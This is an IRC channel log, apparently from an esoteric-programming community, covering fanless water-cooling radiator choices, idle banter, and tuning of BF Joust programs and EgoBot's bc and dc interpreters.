00:01:06 <ehird> bsmntbombdood: i'll just have a huge pump with a section of tube that goes into space
00:01:14 <ehird> that should cool it adequately.
00:04:12 <ehird> bsmntbombdood: all the radiators seem to be designed for use w/ fans
00:04:25 <ehird> bsmntbombdood: maybe I should get two low-dissipation radiators
00:04:37 <ehird> as long as they're a few cm apart, should be fine
00:05:01 <ehird> bsmntbombdood: no?
00:05:02 -!- nooga has quit (Read error: 104 (Connection reset by peer)).
00:05:37 -!- nooga has joined.
00:06:26 <ehird> bsmntbombdood: your silence is agreement
00:07:51 <nooga> ion wind cooling would be cool
00:08:56 <ehird> bsmntbombdood: passive agreement
00:12:08 <ehird> Koolance Releases Its First LN2 CPU Cooler
00:12:09 <ehird> The CPU-LN2 is for cooling enthusiasts using liquid nitrogen. It supports a wide range of current processors, including: Intel LGA-1366, LGA-775, AMD AM2, AM2+, AM3, and others.
00:12:17 <ehird> bsmntbombdood: y/n
00:12:35 <ehird> bsmntbombdood: it's only $144.99
00:12:44 -!- KingOfKarlsruhe has quit (Remote closed the connection).
00:12:54 <ehird> 00:04 ehird: bsmntbombdood: maybe I should get two low-dissipation radiators
00:12:54 <ehird> 00:04 ehird: as long as they're a few cm apart, should be fine
00:12:55 <ehird> 00:05 ehird: bsmntbombdood: no?
00:13:57 <ehird> that + take off case fan grill + put a lot of stuff in the loop (but not _everything_, due to a gigantic mass of wires not being appealing - the rest can be handled w/ the minimal natural airflow)
00:19:41 <ehird> bsmntbombdood: amirite
00:19:45 <ehird> you keep saying it won't work
00:19:47 <ehird> i don't see why not
00:21:05 <ehird> bsmntbombdood: ehh, you wouldn't need too much
00:23:49 <ehird> bsmntbombdood: wut
00:31:30 <ehird> bsmntbombdood: wut
00:31:54 <ehird> bsmntbombdood: wut
00:32:16 <ehird> bsmntbombdood: wut
00:39:19 <ehird> bsmntbombdood: wut
00:41:09 <AnMaster> ehird, lostkingdom contains an easter egg it seems
00:41:22 <AnMaster> os("\n\nYou have activated the easter egg");
00:42:17 <ehird> AnMaster: ask your compiler
00:43:10 <ehird> bsmntbombdood: apparently car radiators can dissipate just about anything fanlessly
00:43:13 <nooga> AnMaster: you've said something asbout sleeping?
00:43:31 <ehird> bsmntbombdood: the question is, why can't pc radiators?
00:43:34 <ehird> they're basically the same
00:43:41 <AnMaster> <ehird> bsmntbombdood: apparently car radiators can dissipate just about anything fanlessly <-- part of this is due to car moving maybe?
00:43:42 <nooga> that reminds me thah cooling in my mercedes-benz is broken ;C
00:43:49 -!- Dewio has joined.
00:44:00 <ehird> bsmntbombdood: i guess
00:44:03 <ehird> car radiators aren't huge though
00:44:05 <coppro> Cars also have free power
00:44:19 <ehird> bsmntbombdood: here's the one that was mentioned: http://www.radiatorworld.com/radiatorworldfinal/displayProducts.aspx?carno=26640
00:44:24 <nooga> coppro: since when?
00:44:41 <coppro> well, for certain definitions of fere
00:44:58 <ehird> bsmntbombdood: ugh, that's alum
00:46:16 <ehird> bsmntbombdood: copper waterblocks
00:46:21 <ehird> + aluminum radiator
00:55:48 <GregorR-L> "<coppro> Cars also have free power" "<coppro> well, for certain definitions of free"
00:56:07 -!- Dewi has quit (Read error: 101 (Network is unreachable)).
00:56:37 <GregorR-L> If it's free, the cost is spitting on the American flag!
00:57:02 * pikhq lights the flag on fire
00:58:18 <ehird> pikhq: is defacing the flag actually illegal in the us of a?
00:58:33 <pikhq> There were attempts to make it illega.
00:58:37 <ehird> i've heard somewhere that it was
00:59:14 <pikhq> No. There was a "suggested code of conduct" passed by Congress regarding the flag, but it's a suggestion, not law.
00:59:26 <pikhq> And that was passed back in the 1800s.
00:59:35 <pikhq> (I think a bit after the Civil War)
01:04:01 <ehird> all i want is a gigantic radiator
01:04:05 <ehird> is that too much to ask for
01:04:49 * pikhq sets the Union Jack on fire for that one
01:06:12 <ehird> bsmntbombdood: which of these sounds more radiating to you:
01:06:16 <ehird> Feser TFC Xchanger - Monsta Extreme Radiator 420/360
01:06:17 <ehird> Feser X-Changer QUAD 480 Extreme Performance Radiator
01:06:19 <ehird> the former costs more
01:07:08 * pikhq sets the EU and UN flags on fire. Piss off everyone.
01:07:14 <pikhq> Europeans more so.
01:09:54 <ehird> bsmntbombdood: the reserator seems to be the best fanless copper radiator you can get
01:10:39 -!- AnMaster_ has joined.
01:11:25 <ehird> bsmntbombdood: http://www.highspeedpc.com/Merchant2/merchant.mv?Screen=CTGY&Category_Code=InnovaKonvect
01:11:28 <ehird> (hxlxw): 35x23x5cm
01:11:29 <ehird> Weight: 4.76 pounds
01:11:31 <ehird> Dissipates approx. 80 watts
01:11:35 <ehird> (hxlxw): 45x33x5cm !!
01:11:37 <ehird> Weight 10.5 pounds !!
01:11:39 <ehird> Dissipates approx. 125 watts
01:11:41 <ehird> looks like two chained reserators is the way to go...
01:11:51 -!- AnMaster has quit (Nick collision from services.).
01:13:41 -!- AnMaster_ has changed nick to AnMaster.
01:15:35 <ehird> bsmntbombdood: 'nother one that does 130W
01:15:40 <ehird> nothing >=200W yet
01:15:41 <pikhq> AnMaſter: Þou art known as AnMaſter. How dareſt thee?
01:15:53 <bsmntbombdood> where did you see the reservator dissipating 200w?
01:16:02 <ehird> bsmntbombdood: user anecdotes
01:16:19 <ehird> 's all you have to go on, really
01:16:39 <ehird> the systems I've seen people use w/ them generally look about 200w too
01:17:22 <ehird> bsmntbombdood: yeah, well, it's consistent
01:18:06 <bsmntbombdood> buy all of them, a well calibrated heating element, and some high quality thermometers
01:18:09 -!- Corun has changed nick to Corun|away.
01:18:15 <ehird> bsmntbombdood: and a new wallet
01:18:49 <ehird> bsmntbombdood: specs say 1,274m2 dissipation area
01:18:53 <ehird> which I assume means 1.274m2
01:19:16 <ehird> bsmntbombdood: what
01:19:39 <ehird> best. radiator. evarr
01:21:50 <ehird> bsmntbombdood: my ass says that the reserator dissipates 2345872389729384W
01:21:58 <ehird> it is a very accurate ass
01:22:55 -!- Corun|away has changed nick to Corun.
01:22:58 <ehird> bsmntbombdood: user anecdote says that it can cool a core 2 quad @ 2.66 plus two nvidia 8600GTSes at load below 27C
01:23:07 <ehird> let's look at dem TDPs
01:23:27 <ehird> NOOOOOOOOOOOOOOOOOOOO THEY DON'T SAY
01:24:39 <ehird> bsmntbombdood: you find out the heat of a 8600GTS
01:24:46 <ehird> and I'll find out the heat of a core 2 quad @ 2.66ghz
01:25:32 <ehird> Minimum of a 350 Watt power supply. (Minimum recommended power supply with +12 Volt current rating of 22 Amp Amps.)
01:25:32 <ehird> Minimum 450 Watt for SLI mode system. (Minimum recommended power supply with +12 Volt current rating of 24 Amp Amps.)
01:25:35 <ehird> An available 6 pin PCI-E power connector (hard drive power dongle to PCI-E 6 pin adapter included with card)
01:25:38 <ehird> bsmntbombdood: how much heat do you think
01:25:43 <ehird> totally unhelpful specs
01:26:23 <ehird> they don't seem like how-powered cards though
01:26:27 <ehird> mainstream 8 generation
01:26:56 <ehird> when they were released
01:28:10 <ehird> bsmntbombdood: ah a low-powered looking system here
01:28:15 <ehird> 8600 GTS XXX, which I guess means overclocked
01:28:28 <ehird> bsmntbombdood: so shall we say 40W for the un-overclocked one?
01:28:48 <ehird> bsmntbombdood: 65W + 40W*2(=145W) = 210W
01:29:00 <ehird> bsmntbombdood: 8600 gts
01:29:09 <ehird> this is mainstream
01:29:58 <ehird> bsmntbombdood: shall we say 40W?
01:30:02 <ehird> it's probably a low estimate
01:30:14 <ehird> bsmntbombdood: well
01:30:23 <ehird> bsmntbombdood: if we say 40W, the cpu + 2 graphics cards = 210W
01:30:30 <ehird> so the reserator can dissipate *at least* 210W
01:30:37 <ehird> leaving the components below 27C
01:30:54 <ehird> "Struggles to work with the newer 2 x nVidia 8800 as they just got too hot over 61 degrees celsius out of game reset in game RED HOT no overclock uses as the cards would have gone into meltdown! "
01:31:00 -!- nooga has quit (Read error: 104 (Connection reset by peer)).
01:31:12 <ehird> so it dissipates at least 210W, but below 220W
01:31:30 <ehird> if we're conservative and say 210, that's 420W if you chain two together
01:31:38 <ehird> less than the i7+295 = 429W
01:32:14 <ehird> bsmntbombdood: best route is probably a copper car radiator
01:32:40 <ehird> bsmntbombdood: that's w/ thinking i can use 2 reserators
01:32:46 <ehird> i don't really want to buy three
01:33:22 <bsmntbombdood> so grepping all of my irc logs before - 2-3 minutes
01:33:23 <ehird> bsmntbombdood: 'big truck radiators'
01:33:33 <bsmntbombdood> grepping all my irc logs now, on the ssd...12 seconds
01:33:54 <ehird> remember when you thought the ssd wasn't worth the money?
01:34:23 <ehird> bsmntbombdood: argh car radiator shops suck they all sort by brand
01:34:32 <ehird> I DON'T CARE ABOUT BRAND JUST GIMME A RADIATOR
01:34:43 <ehird> bsmntbombdood: i don't know of a junkyard nearby
01:34:52 <ehird> copper car radiators are rare
01:35:06 <ehird> haha this will be so ghetto
01:35:17 <ehird> mounting a big car radiator on the wall of some unused stairs
01:35:25 <ehird> it may even be ghettotastic
01:36:09 <ehird> bsmntbombdood: how much do you think a car radiator can dissipate fanlessly?
01:36:31 <ehird> so... i'll probably need two
01:36:35 <ehird> if that's accurate.
01:37:09 <ehird> bsmntbombdood: how much do you think?
01:40:14 <ehird> bsmntbombdood: maybe i should use quantum cooling
01:40:30 <ehird> if (!magically_evaporated(heat)) destroy_universe();
01:41:24 <ehird> bsmntbombdood: i can't find any pure-copper radiators :<<<<<<<<<<<<
01:42:05 <ehird> bsmntbombdood: copper waterblocks
01:42:25 <ehird> spell it with me: g-a-l-v-a-n-i-c c-o-r-r-o-s-i-o-n
01:43:31 <ehird> bsmntbombdood: what
01:44:11 -!- psygnisfive has joined.
01:44:24 <psygnisfive> a friend just had an interesting idea for an esolang
01:45:54 <psygnisfive> basically, the language would be legalese.
01:47:17 <pikhq> THEY'RE HOLDING HIS HEAD!
01:47:35 <coppro> http://uncyclopedia.wikia.com/wiki/How_many_lawyers_does_it_take_to_change_a_lightbulb%3F
01:47:42 <ehird> johnkeilloh@aol.com
01:47:52 -!- Patashu has joined.
01:52:09 <coppro> yeah, the original was better
01:52:16 <coppro> that was the one that popped up on google
01:52:19 <psygnisfive> lawyers do not define their terms and then fail to use them uniformly in place of "part of the ..."
01:53:06 <coppro> and actually, when they were paid by the word, they probably would have
01:53:41 <ehird> exchange: you give me a copper car radiator, i give you semi-eternal gratitude
01:55:23 <psygnisfive> its just that were all on the internet, you see
01:55:33 <ehird> psygnisfive: exchange: you help me find a copper car radiator, i give you semi-eternal gratitude
01:56:31 <ehird> psygnisfive: very possible!
01:56:52 <ehird> psygnisfive: cl isn't in my city.
01:57:00 <ehird> because its not a city.
01:57:05 <ehird> its a town. a small abbey town.
01:57:13 <ehird> psygnisfive: that's not helping me to find one :)
01:57:40 <psygnisfive> http://shop.ebay.co.uk/items/?_nkw=copper+radiator&_sacat=0&_trksid=p3286.m270.l1313&_odkw=copper+car+radiator&_osacat=0
01:57:58 <ehird> psygnisfive: none of those tell me how much heat they dissipate :)
01:58:38 <ehird> http://cgi.ebay.co.uk/RENAULT-5-GT-TURBO-FULL-COPPER-RADIATOR-CORE_W0QQitemZ390055782501QQcmdZViewItemQQptZUK_CarsParts_Vehicles_CarParts_SM?hash=item5ad122e865&_trksid=p3286.c0.m14&_trkparms=72%3A1121%7C66%3A2%7C65%3A12%7C39%3A1%7C240%3A1318%7C301%3A1%7C293%3A1%7C294%3A50 okay Renault 5 GT Turbo google for that oh just more sellings of the copper core.
02:05:43 <bsmntbombdood> ehird: http://cgi.ebay.co.uk/Quinn-Adagio-QS7002CP-Copper-Colour-Designer-Radiator_W0QQitemZ280347991448QQcmdZViewItemQQptZUK_Home_Garden_Hearing_Cooling_Air?hash=item41460add98&_trksid=p3286.c0.m14&_trkparms=72%3A1683|66%3A2|65%3A12|39%3A1|240%3A1318|301%3A1|293%3A1|294%3A50
02:06:25 <ehird> bsmntbombdood: 1239W?
02:06:46 <ehird> bsmntbombdood: except
02:06:50 <ehird> bsmntbombdood: it's 6 feet tall
02:07:01 <ehird> stairs aren't high enough to fit something 6 feet tall on a wall
02:07:36 <ehird> psygnisfive: it's a radiator w/ high wattage, and it's copper
02:07:43 <ehird> psygnisfive: good enough to watercool a computer.
02:07:50 <ehird> because car radiators have high wattage
02:08:07 <psygnisfive> had you TOLD ME you wanted just ANY radiator that wouldnt been different! :|
02:08:21 <ehird> psygnisfive: right then,.
02:09:24 <ehird> bsmntbombdood: how did you search for it?
02:09:35 <ehird> i said bsmntbombdood
02:14:45 <ehird> bsmntbombdood: that radiator doesn't list its water capacity
02:14:55 -!- Corun has changed nick to Corun|away.
02:15:01 -!- Corun|away has changed nick to Corun.
02:15:36 <psygnisfive> ehird, why the hell do you need such a large radiator for a computer?
02:15:48 <ehird> psygnisfive: ~429 watts of height, buddy.
02:16:01 <ehird> two zalman reserators only dissipate 420W total
02:16:07 <ehird> so I need to go more heavy-duty
02:16:44 <ehird> psygnisfive: one word
02:16:57 <ehird> If I wanted fans, I'd go for air cooling, not water cooling.
02:17:07 <ehird> psygnisfive: Yes, that's why I'm putting it in the next room
02:17:15 <ehird> Also, good water pumps are inaudible from a very short distance
02:17:18 <ehird> Much more inaudible than fans
02:17:30 <psygnisfive> and more so, your parents are crazy for letting you do this
02:17:38 <psygnisfive> seriously, wtf are you doing that fan noise is an issue? :P
02:17:45 <ehird> psygnisfive: perhaps— but the only moving parts in my system will be one measly pump and a HD for data (os on solid state drive)
02:18:16 <ehird> i have very good hearing
02:18:34 <ehird> i can hear little noises from the living room - separated by an awful lot of space, and a thick wall
02:18:35 <pikhq> After this, he's making an anechoic chamber.
02:18:47 <ehird> psygnisfive: also.
02:19:00 <ehird> a computer with no fans at all? the geek factor is high.
02:19:50 <psygnisfive> pikhq, hes going to be doing thinking, you know.
02:20:06 <ehird> anechoic chambers actually aren't very good for you
02:20:13 <ehird> for being in for a long time
02:20:21 <ehird> your body expects some noise
02:20:25 <psygnisfive> ehird: yeah, you get too much thinking done
02:20:31 <ehird> psygnisfive: fuck off :)
02:20:48 <ehird> psygnisfive: dude, it was a joke
02:20:55 * pikhq gets pissed at his Internet connection. Will be back when it decides to do HTTP faster than 300 baud
02:21:30 <ehird> actually, one more thing psygnisfive
02:22:06 <ehird> you're a mac user right? I'm buying a high-end machine. Did you know that a lot of work that goes into Macs is to silence them? If you think that's what a high-end system sounds like, you really have no idea how loud they can be.
02:47:31 -!- Corun has changed nick to Corun|away.
02:50:53 <pikhq> I would like to present the pinnacle of diactrics technology: ı̥̈̇̉̆̅̄̃̂́̀̐̑̒̊
02:51:07 -!- Corun|away has changed nick to Corun.
02:57:47 <coppro> I think I see a lambda
02:58:01 <pikhq> coppro: No lambda.
02:58:13 <pikhq> Just 15 Unicode combining characters.
03:14:23 -!- calamari has joined.
03:34:28 -!- Dewio has changed nick to Dewi.
03:36:12 -!- puzzlet has joined.
04:32:14 -!- Corun has quit ("Leaving...").
04:56:24 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com .").
05:14:32 * kerlo uses the present perfect progressive tense, thereby making all non-native speakers in the world wonder why he didn't use the past progressive, the present perfect, or the simple past tense.
05:15:36 <kerlo> (I wanted to imply that I expect that the action has not stopped and will continue into the future.)
05:36:21 -!- rodgort has joined.
05:55:31 -!- psygnisfive has quit (Read error: 54 (Connection reset by peer)).
05:56:02 -!- psygnisfive has joined.
06:12:26 -!- lifthrasiir has quit (anthony.freenode.net irc.freenode.net).
06:12:36 -!- lifthrasiir has joined.
06:13:23 -!- olsner has joined.
06:23:09 <psygnisfive> anyone here ever read the whole of the human genome?
06:23:57 <pikhq> Same reason that I wouldn't read the whole encyclopedia.
06:33:35 <kerlo> How big is the human genome?
06:34:21 <kerlo> A few megs? Gosh, that's tiny.
06:34:52 <kerlo> You could read a few megs of text in... not all that long.
06:34:59 <psygnisfive> ofcourse it depends on how you describe it
06:35:09 <kerlo> Two bits per base?
06:35:30 <kerlo> What is "gene form"?
06:35:46 <kerlo> So a list of the names of genes?
06:35:51 <psygnisfive> which is probably hundreds or thousands of base pairs long
06:36:07 <kerlo> I'm guessing that's what the few megs number is.
06:36:17 <kerlo> There's really no point unless you're also reading the genes themselves.
06:37:12 <kerlo> Which is, of course, a completely reasonable thing to do. You look at the GATTACA, translate that into amino acids, and imagine how that would fold.
06:40:34 <pikhq> Sure enough. A freaking MySQL dump is a few megs.
06:42:33 <pikhq> Some site has a searchable index of genomes. They publish MySQL dumps.
06:44:50 <psygnisfive> there used to be a place where you could just download a text file with the whole thing in it
06:48:20 <kerlo> There's apparently a DNA sequence called piggyBac.
06:48:28 <kerlo> It's a transposon.
06:52:30 -!- olsner has quit ("Leaving").
07:30:07 -!- whtspc has joined.
07:44:26 -!- oerjan has joined.
07:44:31 -!- calamari has quit ("Leaving").
07:45:20 -!- kar8nga has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:03:19 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]").
08:21:45 <oerjan> 21:14:32 * kerlo uses the present perfect progressive tense, thereby making all non-native speakers in the world wonder why he didn't use the past progressive, the present perfect, or the simple past tense.
08:21:49 <oerjan> 21:15:32 <Gracenotes> a tense situation
08:22:43 <oerjan> no, kerlo didn't (i am pretty sure that tense has the form "has been -ing", which he did not use). Also, Gracenotes, i must sue you for patent infringement. nothing personal.
08:25:43 <oerjan> 22:23:57 <pikhq> Same reason that I wouldn't read the whole encyclopedia.
08:26:03 * oerjan recalls doing most of the "A" volume when young
08:26:16 <oerjan> alas, interest was too fleeting...
08:27:34 <oerjan> (technically, the A-BEM volume, iirc)
08:28:32 <oerjan> also, a lot of pointer chasing.
08:29:17 * oerjan swats bsmntbombdood -----###
08:31:09 <oerjan> no way is there an entire volume of things starting with AA
08:31:52 <oerjan> especially as your volume doesn't even _get_ to aardvark or aachen
08:32:54 <oerjan> aaa is even more dubious. although i suppose aab could take up more than half of the volume.
08:35:45 <GregorR-L> It's an Aaabaaabaabababian encyclopedia.
08:36:38 <oerjan> so the next volume is BAA-BAB, and there are only two of them.
08:36:56 <GregorR-L> No, there's a short BBA-BBB volume.
08:37:26 <oerjan> although it only has a single obscure band under the latter
09:06:44 -!- Dewi has quit (Read error: 60 (Operation timed out)).
09:08:25 -!- Dewi has joined.
09:15:46 -!- KingOfKarlsruhe has joined.
09:17:55 -!- ais523 has joined.
09:19:10 <ais523> wow, wtf is up with the BF Joust scoreboard?
09:19:26 <ais523> I don't get how defend6 and 7 can be so high up, with defend9 low down
09:19:54 <ais523> and nothing scoring above 60, which is also rather suspicious
09:22:02 <oerjan> clearly someone reversed the polarity. and then took the average.
09:22:11 * oerjan crawls back under his rock.
09:22:26 <ais523> well, that would explain why the points are no longer integers
09:22:42 <ais523> defend9 is meant to be pretty polarity-independent, though
09:22:53 <ais523> the only bit that really cares about polarity is the decoys
09:22:56 <oerjan> also, average over tape length
09:23:34 <ais523> but that should help defend9 even more, it doesn't like excessively short tapes
09:23:39 <ais523> so I'm a bit surprised at the results
09:23:49 <oerjan> so there may still be a bug somewhere...
09:27:34 <ais523> is it still using egojoust as the interp?
09:28:08 <oerjan> i think so, i saw a mention by GregorR-L about wanting to keep the interp part standalone
09:28:11 <ais523> although, most of defend9's losses are to programs I don't recognise
09:28:25 <ais523> so I suspect people have just been attacking it
09:34:52 <GregorR-L> I'm fairly certain there are no bugs.
09:35:01 <GregorR-L> The interp is still separate, it just returns a more strange integer now :P
09:35:06 <ais523> yep, the results don't seem to indicate a bug to me
09:35:12 <GregorR-L> http://codu.org/eso/bfjoust/SCORES for the new system
09:35:16 <ais523> although they are rather interesting
09:35:41 <ais523> and it's rather strange to see two od myprograms that must be almost a week old by now up the top of the leaderboard
09:35:52 <ais523> obviously [-] loops have made a comeback
09:47:17 * GregorR-L wurves that people complain regardless of the changes he makes 8-D
09:47:56 <ais523> I'm not complaining, just surprised
09:48:15 <ais523> but am surprised at how they changed the leaderboard
09:48:40 <GregorR-L> I'll bet there's a bigger potential audience for BF Joust out there.
09:49:03 <ais523> people who never really got into corewar, for instance
09:52:31 <ais523> GregorR-L: have you sped up egojoust? or will I get shot if I make another version of defend9?
09:52:51 <GregorR-L> I sped it up since it really killed it. It's not megafast, but it's fine.
09:53:20 <GregorR-L> The main problem isn't the base speed, but the sheer number of runs for every configuration, at this point :P
09:59:50 <GregorR-L> (Oh, and it does expand ({})%, though it doesn't expand ()*, so ({})%10000000 is to be avoided :P )
10:00:10 <ais523> egojoust seems buggy on nested ({})%
10:00:19 <ais523> I had to replace it with ([)* for defend9
10:00:34 <ais523> admittedly, there are some negative RLEs due to a bug in my generation script, but I don't think that code often gets run
10:09:31 <ais523> !bfjoust speedy0 >>>>>>>>>([-[+++]]>)*20
10:09:38 <EgoBot> Score for ais523_speedy0: 11.1
10:09:42 <ais523> !bfjoust speedy0 >>>>>>>>>([-[+++]]>)*21
10:09:50 <EgoBot> Score for ais523_speedy0: 11.5
10:10:16 <ais523> !bfjoust speedy0 >>>>>>>>>([-[+]]>)*21
10:10:24 <EgoBot> Score for ais523_speedy0: 17.3
10:10:58 * ais523 wonders why defend9 loses to that
10:15:07 <GregorR-L> ais523: I fixed that bug a while ago.
10:15:15 <GregorR-L> ais523: Or at least I think I did ... the nested ({}) bug that is.
10:18:21 -!- ais523 has quit ("http://www.mibbit.com ajax IRC Client").
10:19:21 -!- Judofyr has joined.
10:23:18 -!- Gracenotes has quit (Read error: 104 (Connection reset by peer)).
10:26:17 -!- Gracenotes has joined.
10:26:51 <dbc> I haven't seen BFJoust before. Where are the rules?
10:28:54 <GregorR-L> http://esolangs.org/wiki/BF%20Joust
10:29:33 <GregorR-L> Unsurprisingly, we're using the version ais made.
10:31:20 -!- Judofyr_ has joined.
10:31:20 <oerjan> technically doing all forms of
10:31:21 <oerjan> inversion should be unnecessary, but they're done for ... "completeness"
10:31:37 <oerjan> GregorR-L: ^ um, you mean "stupidity"?
10:31:50 -!- Judofyr has quit (Read error: 104 (Connection reset by peer)).
10:31:54 <GregorR-L> Hence the ellipses and question mark :P
10:31:54 <oerjan> reverting one of them is enough...
10:32:17 <GregorR-L> Yeah, I didn't think about it when I first wrote it, then I went "oh yeah, 128 is 128 away from 0 in either direction"
10:32:30 <GregorR-L> But I'm too lazy to change it right now, and it makes no actual difference except time, so *eh*
10:34:56 <oerjan> <ais523> I had to replace it with ([)* for defend9 <-- i thought ([)* was illegal
10:35:21 <oerjan> GregorR-L: do you support ([)* ?
10:35:47 <GregorR-L> oerjan: Yes, although it oughtn't.
10:36:34 <oerjan> because if so you could just turn (a{b}c)%n -> (a)*n b (c)*n
10:36:57 <GregorR-L> ()* is expanded if it includes [ or ], ATM.
10:37:31 <oerjan> because the only reason to have ({})% is because ()* requires balanced []'s
10:38:10 <oerjan> GregorR-L: it wouldn't be bad to allow ([)* if you could do it efficiently
10:38:35 <GregorR-L> oerjan: I'm only allowing ([) because I'm not handling the situation efficiently in general :P
10:40:26 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/
10:43:57 <oerjan> argh! the horizontal scrollbar of hg's file browser is stupid!
10:44:50 <oerjan> it's _not_ in the visible part of the _window_, i have to scroll the main window to _see_ the inner scrollbar!
10:45:09 <GregorR-L> Are you using some wacko browser? Super-low resolution?
10:45:50 <oerjan> the problem is not the browser
10:45:59 <oerjan> the problem is my 1280x800 laptop screen
10:46:14 <GregorR-L> My laptop screen is 1280x800, and I have no issues :P
10:46:44 <oerjan> well it's only an issue for that one long line in egojoust.c
10:48:01 <GregorR-L> When I adjusted my font, I managed to produce stupiditude.
10:48:19 <oerjan> also i like a fairly large font
10:50:02 <GregorR-L> I ate a probably-not-insubstantial part of a mosquito today.
10:50:07 <oerjan> ok maximizing the window helps too
10:50:29 <GregorR-L> My arm itched but my hands were full, so I instinctively bit to scratch.
10:50:48 <GregorR-L> Suffice to say that when your arm itches because the mosquito is still there, that's not a good idea.
10:51:05 <oerjan> GregorR-L: i like to keep a small part of the irc window visible under my browser, so i can see if there is activity
10:52:18 <oerjan> GregorR-L: well it's protein!
10:52:40 <GregorR-L> It tasted mostly like (presumably my own) blood, surprisingly sweet, with a little bit of bitterness.
10:58:27 <oerjan> GregorR-L: huh, it looks to me like you have most of the ingredients for doing (balanced) ({})% and ()* without expansion already - you keep a stack of counters
11:02:19 <AnMaster> it is irritating when you find totally messed up logic in programs you wrote yourself...
11:02:39 <AnMaster> it is even more irritating when the incorrect logic actually works too.
11:06:10 <EgoBot> Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google gregor hello kipple lambda lazyk linguine malbolge notecho num ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yod
11:06:33 <oerjan> GregorR-L: hey, yodawg got cut off!
11:08:21 <EgoBot> Installed user interpreters: bct bfbignum chiqrsx9p choo echo google gregor hello num ook rot13 slashes yodawg
11:09:09 <AnMaster> in what language is it written
11:09:58 <oerjan> 12:09 =EgoBot> ;; Keymaker's brainfuck interpreter
11:09:58 <oerjan> 12:09 =EgoBot> ;; a brainfuck interpreter written in brainfuck
11:09:58 <oerjan> 12:09 =EgoBot> ;; the memory cells can hold any value from zero to infinity
11:09:58 <oerjan> 12:09 =EgoBot> ;; written by Keymaker
11:10:52 <AnMaster> can they hold actual infinity? ;P
11:12:58 <EgoBot> Sorry, I have no help for asm!
11:14:14 <AnMaster> <EgoBot> !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£€¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
11:14:22 <GregorR-L> Slereah_: You can do inline ASM in C.
11:14:40 <AnMaster> I closed the chat after a while
11:14:47 <GregorR-L> AnMaster: It's limited to 128K anyway :P
11:15:20 <AnMaster> is that kibibyte or kilobyte? ;P
11:15:52 <AnMaster> Gracenotes, how many kilonibbles!
11:16:35 <GregorR-L> oerjan: You can do inline ASM in C.
11:17:57 <EgoBot> That is not a user interpreter!
11:18:22 <oerjan> GregorR-L: it was not being a user interpreter that made me wonder...
11:19:01 <GregorR-L> I put that there while I was testing something.
11:19:14 <oerjan> test as well, i assume
11:20:15 <EgoBot> That interpreter doesn't exist!
11:20:40 <EgoBot> That is not a user interpreter!
11:20:51 <EgoBot> Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bc bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google gregor hello kipple lambda lazyk linguine malbolge num ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg
11:20:58 <oerjan> why is show listed there
11:21:05 <oerjan> rather than at the beginning
11:21:43 <GregorR-L> Because it's in the hcmds directory *shrugs*
11:21:49 -!- nooga has joined.
11:25:17 <AnMaster> GregorR, what about dc... it is a lot easier to use than bc
11:25:47 <dbc> Has anyone done a program that would try seriously to recognize the opposing program? And briefly set its own flag to 0 just long enough to trick the opponent into stepping out of the array?
11:26:23 <GregorR-L> dbc: IMHO any program that took long enough to detect such things would lose while taking that time.
11:26:39 <GregorR-L> AnMaster: ... you're not Polish, you're Swedish, you're not supposed to like Reverse Polish Notation :P
11:26:55 <AnMaster> almost as much as prefix notation
11:28:06 <EgoBot> .238095238095238095238095238095
11:28:35 <EgoBot> Runtime error (func=(main), adr=18): Function s not defined.
11:28:43 <EgoBot> (standard_in) 1: syntax error
11:28:50 <dbc> Well, I was thinking it would start something like >+++[[[[[[[[[[[[[[[[[[[
11:28:55 <AnMaster> GregorR, you should load the math library with -l
11:29:20 <EgoBot> Interpreter bc deleted.
11:29:24 <EgoBot> Interpreter bc installed.
11:29:29 <EgoBot> .235852028768310500148768462188
11:29:36 <dbc> As soon as the decoy gets cleared, it jumps immediately to the proper response after the matching ].
11:29:45 <EgoBot> .2358520287683105001487684621888690261219855174394651629650889653465\
11:30:16 <AnMaster> and I guess the 3000 decimals one isn't ready yet
11:30:40 <AnMaster> 10 2 / p is so much easier to read than 10/2
11:30:58 <dbc> Of course this assumes you can set up a decoy such that each combination of program, array length, and inversion zeroes it at a slightly different time. Which may not be possible. And of course after a while you suspect that you're dealing with a purely defensive program and then other steps would be required.
11:30:59 <AnMaster> GregorR-L, you said it wasn't installed?
11:31:21 <GregorR-L> It wasn't, then I installed it and bc :P
11:32:13 <AnMaster> GregorR, how do the interpreter see end of input
11:32:34 <EgoBot> Interpreter dc installed.
11:33:19 <EgoBot> .23809523809523809523809523809523809523809523809523809523809523809523\
11:33:20 -!- oerjan has quit ("Bus?").
11:34:38 <AnMaster> GregorR-L, can you do that with bc at all?
11:35:03 <AnMaster> (set output radix to 16, thus printing in hexdecimal)
